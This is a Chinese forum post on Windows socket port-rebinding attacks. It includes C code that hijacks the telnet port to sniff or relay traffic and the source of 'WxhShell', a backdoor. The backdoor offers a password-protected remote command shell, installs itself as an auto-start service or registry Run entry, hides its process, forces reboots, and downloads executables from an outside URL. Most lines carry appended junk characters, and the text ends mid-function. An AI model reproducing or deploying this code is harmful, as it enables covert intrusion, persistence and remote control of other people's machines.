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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Aj=c,]2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5c l%>U  
!E\J`K0_e  
  saddr.sin_family = AF_INET; SCMZ-^b  
`3F/7$q_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9M-/{D^+<  
sk`RaDq@;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3bB%@^<  
gH/k}M7tA#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ) $I"LyK)  
~bJ*LM?wOP  
  这意味着什么?意味着可以进行如下的攻击: gJBk&SDgtP  
*yA. D?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Bk~M^AK@~  
.'N#qs_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2E3x=  
G{oM2`c'#8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p&;,$KDA  
:~9F/Jx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w9a6F  
cV)~%e/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GD .>u  
93#wU})  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &Lgi  
%|3UWN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Eh f{Kl  
V?cUQghHg  
  #include =p';y&   
  #include rhvsd2 zi  
  #include 6T~xjAuJ3T  
  #include    SYTzJK@vZJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rW3fd.;kss  
  int main() cj/FqU"  
  { nyB~C7zR  
  WORD wVersionRequested; "A9 c]  
  DWORD ret; cb~m==G  
  WSADATA wsaData; n7Ia8?8-l  
  BOOL val; RpY#_\^hI  
  SOCKADDR_IN saddr; _u`W$EG L  
  SOCKADDR_IN scaddr; tMy@'nj  
  int err; J&6]3x  
  SOCKET s; yf6&'Y{  
  SOCKET sc; \(bML#I  
  int caddsize; jVu3!{}  
  HANDLE mt; V|fs"HY  
  DWORD tid;   [HENk34  
  wVersionRequested = MAKEWORD( 2, 2 ); uJ$!lyJ6L  
  err = WSAStartup( wVersionRequested, &wsaData ); !xK`:[B  
  if ( err != 0 ) { e: :H1V  
  printf("error!WSAStartup failed!\n"); Nm=W?i  
  return -1; nEm+cHHo?  
  } vd<" G}  
  saddr.sin_family = AF_INET; Ws`P(WHm  
   SLc'1{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 07+Qai-]  
<kmn3w,vi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w~g)Dz2G  
  saddr.sin_port = htons(23); r yO\$m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6y9#am?  
  { ToVm]zPOUt  
  printf("error!socket failed!\n"); : LI*#~'Ka  
  return -1; Io&F0~Z;;(  
  } 5q?ZuAAA  
  val = TRUE; b=+'i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?o9g5Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /P0%4aWu=  
  { H;$OCDRC  
  printf("error!setsockopt failed!\n"); |ldRs'c{  
  return -1; 6(}8[i:  
  } ""ICdZ_A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UpS`KgF"v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >2~q{e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6l>$N?a  
xGeRoW(X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7m=tu?@  
  { puz~Rfn#*  
  ret=GetLastError(); X@)5F 9  
  printf("error!bind failed!\n"); X}xy v  
  return -1; d1#;>MiU  
  } a ^b_&}y  
  listen(s,2); Bn/ {J  
  while(1) wvA@\-.+  
  { amIG9:-1'  
  caddsize = sizeof(scaddr); 7PZ0  
  //接受连接请求 i9oi}$;J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pVt8z|p_;{  
  if(sc!=INVALID_SOCKET) &la;Vu"dp  
  { ?t+Kp 9@aZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,m:YZ;J(Xd  
  if(mt==NULL) vd9><W  
  { /nRi19a%xU  
  printf("Thread Creat Failed!\n"); >T4.mB7+>  
  break; :d-+Z%Y  
  } "el}@  
  } TCFx+*fBd  
  CloseHandle(mt); Xb=9~7&,$  
  } o+(.Pb  
  closesocket(s); _{6QvD3kg.  
  WSACleanup(); X/TuiKe  
  return 0; r"a0!]n  
  }   gYx|Na,+  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y zSUJ=0/  
  { ".eD&oX{  
  SOCKET ss = (SOCKET)lpParam; &/4W1=>(  
  SOCKET sc; 'k#^Z  
  unsigned char buf[4096]; ucyz>TL0  
  SOCKADDR_IN saddr; %uyRpG3,  
  long num; YZdp/X6x  
  DWORD val; ^e>`ob  
  DWORD ret; ]v3 9ag_hu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vO"Sy{)Z>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z| Z447_  
  saddr.sin_family = AF_INET; RUmJ=i'4/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZUb6d*B  
  saddr.sin_port = htons(23); \&J7>vu^y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hd.^ZD7  
  { v3Y/D1jd"  
  printf("error!socket failed!\n"); &<-Sxjj  
  return -1; wz5xJ:Tj  
  } keEyE;O}u  
  val = 100; [MYd15  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eW]K~SPd7  
  { h \b]>q@  
  ret = GetLastError(); {SW}S_  
  return -1; Ym5q#f)|  
  } 3ADT Yt".  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ` IiAtS  
  { ,K8O<Mw8  
  ret = GetLastError(); GH![rK  
  return -1; {b[8x   
  } hV/$6 8A_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7^h?<X\  
  { VC\43A,9  
  printf("error!socket connect failed!\n"); O/>$kG%ge  
  closesocket(sc); AS[cz! >  
  closesocket(ss); T+m`a #  
  return -1; pIk&NI  
  } <1Vz QH!o  
  while(1) 1_THBL26d  
  { oBQr6-nZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4,T!zT6&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E@aR5S>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e;R5A6|  
  num = recv(ss,buf,4096,0); B i?DmrH  
  if(num>0) /+ vl({vV  
  send(sc,buf,num,0); 7$+n"Cfm  
  else if(num==0) TGGeTtk=  
  break; j8!fzJG  
  num = recv(sc,buf,4096,0); 9. Q;J#;1  
  if(num>0) (t1:2WY@  
  send(ss,buf,num,0); 1"009/|   
  else if(num==0) |r!G(an1x4  
  break; *?7Ie;)  
  } ^$Dpdz I  
  closesocket(ss); s"<k) Xi  
  closesocket(sc); ;=Jj{FoG%  
  return 0 ; Slcf=  
  } r@0HqZx`  
agN`) F!  
=9GL;z:R+  
========================================================== 0Np }O=>  
SJ;u,XyWn  
下边附上一个代码,,WXhSHELL a1]k(AuQrC  
&96I4su  
========================================================== T+zZOI  
|f&)@fUI  
#include "stdafx.h" .R;HH_  
UHF.R>Ry  
#include <stdio.h> 8*I43Jtlf,  
#include <string.h> ?h"+q8&  
#include <windows.h> as- Z)h[B  
#include <winsock2.h> &!vJ3:  
#include <winsvc.h> kN >%y&cK  
#include <urlmon.h> xWD=",0+  
wj9CL1Gx  
#pragma comment (lib, "Ws2_32.lib")  qm&}^S  
#pragma comment (lib, "urlmon.lib") gYfN ?A*`_  
=xWZJ:UnU  
#define MAX_USER   100 // 最大客户端连接数 \zw0*;&U  
#define BUF_SOCK   200 // sock buffer 8P0XY S@  
#define KEY_BUFF   255 // 输入 buffer 7OYNH0EH  
7OG=LF*V-  
#define REBOOT     0   // 重启 aR ao\Wp|  
#define SHUTDOWN   1   // 关机 jzSh|a9_  
P Ig)h-w?  
#define DEF_PORT   5000 // 监听端口 <ZxxlJS)6  
k:Sxs+)?1  
#define REG_LEN     16   // 注册表键长度 (m4`l_  
#define SVC_LEN     80   // NT服务名长度 pHEhB9_A!  
YA O, rh  
// 从dll定义API mHB*4L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I.A7H'j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,5HQHo@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *+re2O)Eh'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e3UGYwQ  
q [Rqy !,  
// wxhshell配置信息 ]tL9y<  
struct WSCFG { nellN}jYsM  
  int ws_port;         // 监听端口 ehl) {Dd^  
  char ws_passstr[REG_LEN]; // 口令 -$J\BkI  
  int ws_autoins;       // 安装标记, 1=yes 0=no #"fBF/Q  
  char ws_regname[REG_LEN]; // 注册表键名 /Y:&307q  
  char ws_svcname[REG_LEN]; // 服务名 RrRrB"!8nR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &WE|9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vF0#]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d76k1-m\o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l9"0Wu@_x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3~}G~ t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [URo#  
hC?:XVt  
}; b[<r+e8  
`@q[&^  
// default Wxhshell configuration %>Z^BM<e  
struct WSCFG wscfg={DEF_PORT, l^w=b~|7=  
    "xuhuanlingzhe", Nl,M9  
    1, |} ;&xI  
    "Wxhshell", X:bv ?o>Y  
    "Wxhshell", h`X)sC+  
            "WxhShell Service", j}3Avu%  
    "Wrsky Windows CmdShell Service", orYE&  
    "Please Input Your Password: ", G=/a>{  
  1, a7s+l=  
  "http://www.wrsky.com/wxhshell.exe", l5QH8eNwME  
  "Wxhshell.exe" qk;*$Q  
    }; u+UtvzUC  
b}< T<  
// 消息定义模块 x.CUJ^_.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q`_d>l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; je@F:5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B:#5U85m  
char *msg_ws_ext="\n\rExit."; W~(@*H  
char *msg_ws_end="\n\rQuit."; 7Vd"k;:X  
char *msg_ws_boot="\n\rReboot..."; 8TGO6oY+=  
char *msg_ws_poff="\n\rShutdown..."; V TQ V]>|  
char *msg_ws_down="\n\rSave to "; UjxEbk5>^  
U>?q|(u  
char *msg_ws_err="\n\rErr!"; }kzGuNj  
char *msg_ws_ok="\n\rOK!"; 9W88_rE'e}  
Qn'Do4Le  
char ExeFile[MAX_PATH]; NC'+-P'y  
int nUser = 0; Z&9MtpC+N3  
HANDLE handles[MAX_USER]; 1$T;u~vg  
int OsIsNt; k=1([x  
<qjNX-|  
SERVICE_STATUS       serviceStatus; @q:v?AO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /8(c^  
~XGBE  
// 函数声明 I[,tf!  
int Install(void); |C}n]{*|  
int Uninstall(void); 07 [%RG  
int DownloadFile(char *sURL, SOCKET wsh); ya7PF~:E-  
int Boot(int flag); BK`NPC$a  
void HideProc(void); @v{lH&K:;  
int GetOsVer(void); TP7'tb  
int Wxhshell(SOCKET wsl); [mwJ*GJ-  
void TalkWithClient(void *cs); 81Ixs Qt  
int CmdShell(SOCKET sock); 3SI:su  
int StartFromService(void); 4g<F."  
int StartWxhshell(LPSTR lpCmdLine); h!.#r*vV  
u"eO&Vc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :j_OO5b!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,p2BB"^_i  
#yz5CWu  
// 数据结构和表定义 W[Kv Qt3%  
SERVICE_TABLE_ENTRY DispatchTable[] = )c|S)iJ7=z  
{ !-%fCg(B  
{wscfg.ws_svcname, NTServiceMain}, I3sH8/*  
{NULL, NULL} *FhD%><  
}; 0kC}qru'  
`q =e<$  
// 自我安装 4Ufx,]  
int Install(void) ?4>uGaU\  
{ '](4g/%  
  char svExeFile[MAX_PATH]; T,N"8N{K"  
  HKEY key; rHe*/nN%*  
  strcpy(svExeFile,ExeFile); 4CAV)  
4Uz1~AuNxb  
// 如果是win9x系统,修改注册表设为自启动 h1O^~"x  
if(!OsIsNt) { )Dn~e#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V)x(\ls]SX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &%J+d"n(  
  RegCloseKey(key); +LBDn"5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $p_FrN{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [4qCW{x._  
  RegCloseKey(key); Xc)V;1  
  return 0; A8Z2o\+  
    } Cwo(%Wc  
  } w1Ar[ P  
} },1**_#<Br  
else { 55lL aus  
p }p1>-j  
// 如果是NT以上系统,安装为系统服务 0LI:R'P+P[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2K >tI9);  
if (schSCManager!=0) X( Q*(_  
{ % 1f, 8BM  
  SC_HANDLE schService = CreateService [t)omPy<c  
  ( W5'07N^  
  schSCManager, b _Q:v&  
  wscfg.ws_svcname, RSL%<  
  wscfg.ws_svcdisp, Jt-s6-2  
  SERVICE_ALL_ACCESS, W?+U%bIZ9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?t;>]Wo;  
  SERVICE_AUTO_START, g7*"*%v 2  
  SERVICE_ERROR_NORMAL, F\pw0^K;N  
  svExeFile, $7Sbz&)y3  
  NULL, si`{>e~`6P  
  NULL, ;VQFz&Q$u  
  NULL, JiFy.Pf  
  NULL, Eu%19s; u  
  NULL oL?[9aww  
  ); Cjvgf .>$  
  if (schService!=0) $lJu2omi1  
  { &!)F0PN:u  
  CloseServiceHandle(schService); -Vj'QqZ  
  CloseServiceHandle(schSCManager); \)?mIwo7~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L|sWSrqd  
  strcat(svExeFile,wscfg.ws_svcname); Ub1?dk   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *7 L*:g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); / D9FjOP  
  RegCloseKey(key); OBF3)L]  
  return 0; G'|Emu=4  
    } w8~J5XS  
  } [,GXA)j  
  CloseServiceHandle(schSCManager); p)  x.Y  
} q;I`&JK  
} sy^k:y?  
8mjP2  
return 1; iU)-YFO  
} e"jA#Y #  
 84PD`A  
// 自我卸载 3F%Q q7v  
int Uninstall(void) GPqF>   
{ V<} ^n  
  HKEY key; 9&'I?D&8  
zs+[Aco)  
if(!OsIsNt) { apW0(&\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6r"PtHr  
  RegDeleteValue(key,wscfg.ws_regname); rWN#QL()*  
  RegCloseKey(key); A<6V$e$:2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H>AzxhX[n  
  RegDeleteValue(key,wscfg.ws_regname); kvU0$1  
  RegCloseKey(key); dhW;|  
  return 0; Dl862$_Q  
  } =hV-E D  
} V/j]UK0$  
} a S- rng  
else { Pn{yk`6E  
T;-Zl[H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "Y&+J@]  
if (schSCManager!=0) r#{r]q_E*  
{ b0a'Y"oef4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >K`.!!av,Y  
  if (schService!=0) {Y5h*BD>  
  { my#qmI  
  if(DeleteService(schService)!=0) { Isq3YY  
  CloseServiceHandle(schService); 9Ao0$|@b  
  CloseServiceHandle(schSCManager); l<<G". ?  
  return 0; 1B3,lYBM  
  } 5H6GZ:hp  
  CloseServiceHandle(schService); l3aG#4jj  
  } [7Nn%eZC  
  CloseServiceHandle(schSCManager); UQ|zSalv,  
} F"a^`E&  
} PVO9KWv**  
*$(=I6b  
return 1; p71% -nV  
} <$liWAGX\  
5iola}6  
// 从指定url下载文件 < %Qw dEO  
int DownloadFile(char *sURL, SOCKET wsh) >qA5   
{ i_GE9A=h  
  HRESULT hr; A>L(#lz#ek  
char seps[]= "/"; !2x"'o  
char *token; Q6S[sTKR  
char *file; AK<ZP?0  
char myURL[MAX_PATH]; v)JQb-<  
char myFILE[MAX_PATH]; ^ v3+w"2  
&QOob)  
strcpy(myURL,sURL); PiB)pUYj  
  token=strtok(myURL,seps); }\u~He%  
  while(token!=NULL) TJY$<:  
  { 98C~%+  
    file=token; [Hdk=p  
  token=strtok(NULL,seps); K. G#[  
  } hvBuQuk)  
4qda!%  
GetCurrentDirectory(MAX_PATH,myFILE); :Puv8[1i  
strcat(myFILE, "\\"); Fc}wu W  
strcat(myFILE, file); 2W pe( \(  
  send(wsh,myFILE,strlen(myFILE),0); EpGe'S  
send(wsh,"...",3,0); [[D}vL8d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P's<M  
  if(hr==S_OK) )ymF: ]QC  
return 0; `n-e.{O((  
else u2<:mu[|P  
return 1; Oe9{`~  
;lGa.RD[a  
} d$rJW m5H  
KHr8\qLH  
// 系统电源模块 1jmhh !,  
int Boot(int flag) jTw s0=F*  
{ | 7>1)  
  HANDLE hToken; RA[` Cp"  
  TOKEN_PRIVILEGES tkp; !w f N~.Y  
UO"8 I2rB  
  if(OsIsNt) { 5d}PrYa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7k6rhf7H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  CjQ_oNI  
    tkp.PrivilegeCount = 1; +:&(Ag  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3:Co K#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =mqV&FgRo  
if(flag==REBOOT) { l O, 2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j<deTK;.  
  return 0; b&~uK"O'7d  
} #Mbt%m  
else { C`mXEX5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B_5q}Bp<  
  return 0; k9 *0xukJ  
} >mF`XbS  
  } |[34<tIN  
  else { C,PCU<q  
if(flag==REBOOT) { N83RsL "}_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :o}7C%Q8  
  return 0; x6DH0*[.  
} =hl-c  
else { $Z28nPd/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }T c)M_  
  return 0; y6*i/3  
} >4EcV1y  
} SgXXitg9+  
r.ajw&J2  
return 1; Y_/Kd7,\~  
} `MTOe 1  
'&<-,1^L  
// win9x进程隐藏模块 Zl,K#  
void HideProc(void) OD1ns  
{ qE,%$0g  
O1#rCFC|y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q=nMZVVlF(  
  if ( hKernel != NULL ) 7DYD+N+T  
  { h y[_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DBmcvC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *R~oA`  
    FreeLibrary(hKernel); *fd` .}  
  } E"G. _<3J8  
?tA- `\E  
return; G~esSL^G/  
} J"83S*2(j  
0_]aF8j  
// 获取操作系统版本 0)2lBfHQ&  
int GetOsVer(void) wG{o bsL.!  
{ BK /;H G  
  OSVERSIONINFO winfo; v>R.M"f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V)(pe #P  
  GetVersionEx(&winfo); w@:o:yLS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )d.7xY7!  
  return 1; -x_iqrB  
  else >8AtT=}w  
  return 0; 8dZH&G@;  
} ' xi..  
'6WDs]\  
// 客户端句柄模块 rLKDeB  
int Wxhshell(SOCKET wsl) WG}QLcP  
{ @pS[_!EqYz  
  SOCKET wsh; d?{2A84S  
  struct sockaddr_in client; '\_)\`a|  
  DWORD myID; fglZjT  
}E1Eq  
  while(nUser<MAX_USER) 50R+D0^mh  
{ W@S9}+wl*  
  int nSize=sizeof(client); =:0(&NCRq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 11-uJVO~*  
  if(wsh==INVALID_SOCKET) return 1; ^y6CV4T+  
mE7Jv)@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (CV=0{]  
if(handles[nUser]==0) R;.WOies4  
  closesocket(wsh); -"nYCF  
else L"-&B$B:  
  nUser++; ./g#<  
  } 7r;A wa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '{u#:TTj  
- 'VT  
  return 0; :|A db\b  
} Qp?+_<{  
{r}}X@|5  
// 关闭 socket v}mmY>M%  
void CloseIt(SOCKET wsh) c]&VUWQ  
{ W2B=%`sC  
closesocket(wsh); *Xnq1_K}  
nUser--; ?-Z:N`YP  
ExitThread(0); KWH  
} Arv8P P^'  
YOoP]0'L  
// 客户端请求句柄 1M{#"t{6  
void TalkWithClient(void *cs) sI'HS+~pU  
{ 5.E 2fX  
$G}Q}f  
  SOCKET wsh=(SOCKET)cs; W P&zF$  
  char pwd[SVC_LEN]; "|%fA E  
  char cmd[KEY_BUFF]; E4.IS =4S  
char chr[1]; UmuFzw^  
int i,j; O^$Zz<  
m{yON&y  
  while (nUser < MAX_USER) { .WPqK >79|  
Bx)&MYY}[[  
if(wscfg.ws_passstr) { 4%7*tVG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4>HGwk@+8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H}~^,B2;  
  //ZeroMemory(pwd,KEY_BUFF); OE"Bb   
      i=0; *Wau7  
  while(i<SVC_LEN) {  M:$nL  
Dw[Q,SE   
  // 设置超时 ?n+\T'f!  
  fd_set FdRead; Y|~>(  
  struct timeval TimeOut; [)u(\nfGX  
  FD_ZERO(&FdRead); T{M:)}V  
  FD_SET(wsh,&FdRead); /km3L7L%R  
  TimeOut.tv_sec=8; *X-$* ~J0  
  TimeOut.tv_usec=0; ;CZcY] ol  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BYf"l8^,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7EXmmB~>,  
/{va<CL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /0uinx  
  pwd=chr[0]; eH8.O  
  if(chr[0]==0xd || chr[0]==0xa) { jYF3u0 )  
  pwd=0; 5=986ci$U  
  break; ;$Jvqq|T  
  } . gJKr  
  i++; 4#9-Z6kOk  
    } jg8P4s  
Z#O3s:`  
  // 如果是非法用户,关闭 socket _JDr?Kg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PsnU5f)`  
} C=cTj7Ub  
~] 2R+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QAwj]_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k N+(  
: eFc.>KoD  
while(1) { J5T#}!f  
BxU1Q&  
  ZeroMemory(cmd,KEY_BUFF); K=)R!e8  
DeSTo9A}!  
      // 自动支持客户端 telnet标准   4C cb!?  
  j=0; A'8K^,<  
  while(j<KEY_BUFF) { mg(56)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QR'g*Bro  
  cmd[j]=chr[0]; kDh(~nfj  
  if(chr[0]==0xa || chr[0]==0xd) { +GS=zNw#  
  cmd[j]=0; HWBom8u0  
  break; 5aNDW'z`f  
  } lg+g:o  
  j++; Sq,ty{j2%  
    } Qg!*=<b  
zY+Et.lg]^  
  // 下载文件 ]Dg0@Y  
  if(strstr(cmd,"http://")) { bn35f<+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M(uB ;Te  
  if(DownloadFile(cmd,wsh)) 9a%@j ]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nW_  
  else ~2431<YV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PEIr-qs%D  
  } BkfBFUDQ  
  else { !e `=UZe1  
<GRf%zJ  
    switch(cmd[0]) { 9A(K_d-!H  
  +GU16+w~E  
  // 帮助 UD`Z;F  
  case '?': { |/;5|  z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4?& a?*M  
    break; M3 u8NRd5|  
  } %U7f9  
  // 安装 ew$Z5N:  
  case 'i': { x?'%  
    if(Install()) ;hJ*u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8-ssiiJ}gh  
    else *XO KH+_u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ="R6YL  
    break; ie5ijkxZ(  
    } EIQy?ig86  
  // 卸载 nn:pf1  
  case 'r': { dRa<,@1"  
    if(Uninstall()) `&zobbwq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1I_q3{  
    else s[4 !R&b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 63Yu05'  
    break; qXGLv4c`Q  
    } nF$)F?||  
  // 显示 wxhshell 所在路径 ~|C1$.-  
  case 'p': { {~g  
    char svExeFile[MAX_PATH]; ~HRWKPb  
    strcpy(svExeFile,"\n\r"); 3y B6]U  
      strcat(svExeFile,ExeFile); SVh4)}.x  
        send(wsh,svExeFile,strlen(svExeFile),0); 86F+N_>Z  
    break; 12xP)*:$  
    } >8O=^7  
  // 重启 kw ^ Sbxm  
  case 'b': { em!R9J.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _Pi:TxY   
    if(Boot(REBOOT)) N|2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %esZ}U   
    else { (1j$*?iGA  
    closesocket(wsh); L"6/"L  
    ExitThread(0); L6=RD<~C  
    } xH#a|iT?(  
    break; RyWOiQk;  
    } t>@3RBEK  
  // 关机 d|+jCTKS  
  case 'd': { _hL4@ C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gr{Sh`Cm-  
